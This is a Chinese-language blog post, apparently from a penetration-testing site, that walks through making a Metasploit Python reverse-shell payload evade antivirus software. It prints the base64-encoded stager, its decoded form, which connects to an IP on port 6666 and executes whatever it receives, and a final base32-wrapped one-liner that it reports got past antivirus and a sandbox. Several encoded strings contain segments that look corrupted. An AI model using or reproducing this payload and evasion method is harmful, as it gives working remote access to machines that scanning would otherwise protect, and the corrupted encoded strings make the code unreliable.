不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

MSF源码级别免杀实录

对于MSF生成的shellcode都是一样的~

所以从代码层面来讲来说,不论是什么语言的实现,最后的代码实现的逻辑都是一样的,由于对于java并不了解,但听懂了课堂代码的逻辑,就是先循环饶了了几次然后再建立连接小马拉大马,后参考了群里其他同学作业后得此下文!

因为自己有一定python基础 所以这里对python的源码免杀来进行浅显的分析:

首先我们msf生成一个python的马:

可以看到落地火绒报毒:

看下源码:


```
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1Cwujqvtdb1U97roatdKKrb8EUnzF27ZBFODUuMTMwJyw2NjY2KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK')[0]))
```

图片

所以payload是:

简单处理一下:

``` import socket,zlib,base64,struct,time for x in range(10):  try:   s=socket.socket(2,socket.SOCK_STREAM)    s.connect(('192.168.85.130',6666))    break   except:   time.sleep(5 l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l:  d+=s.recv(l-len(d)) exec(zlib.decompress(base64.b64decode(d)),{'s':s}) ```

简单分析一波:

import一些模块进行b64解码&utf-8解码,解码里面的base64然后执行,这里用到的就是__import__内置函数来进行引用

代码的大概意思就是

循环10次尝试建立socket连接,成功就连接成功传数据,最后break,异常就sleep(5)秒然后继续建立连接

后面的代码

图片

涉及到网络编程,不太了解,暂时搁置,这阵子了解一下网络编程后再来看

这里的话我感觉也可以改一下编码,但是不知道能否实行

所以这里就是一个基础的msf-pyhton的payload

基本上就是编码了一下然后直接建立连接,那么这里的话免杀思路如下:

1.改一下编码方式,最直接的

2.把木马里面的函数用不同方式实现

3.在木马里加点费功能混淆一下

4.函数名啥了改改,”特征值得改一下“,一些可以改的参数就改成自己的

(就跟抄作业似的,最后实现的功能都是一样的,你抄了别人的,你不能全抄把,哪不合适,就改改呗,嗯,改改呗,让杀软老师以为你是自己写的,不是抄msf的就行了,就给你过了)

所以我们这里的话

图片

(\t)这里是因为我懒得替换了 为了一会好整成一行 (手动狗头)

我就简单做了这种混淆,然后整合回一行,然后最外面的编码我们用base32

NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY38EL9PSypgsoxPWZ4B4azon5wN6H1DHhkZIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ=

最后的payload:

exec(__import__('base64').b32decode(__import__('codecs').getencoder('utf-8')('NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY35NaXQM3nBSKAhcm6NGzkUmZtT35gBhbqXIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ=')[0]))

设置好监听和载荷(这里payload一定要选对,因为我才接触msf不久,选错监听,老不上线,哭死)

图片

木马成功上线

最后测试木马免杀效果

Good

然后给沙箱

其余的我就不测了,360大概率也过~

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » MSF源码级别免杀实录

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏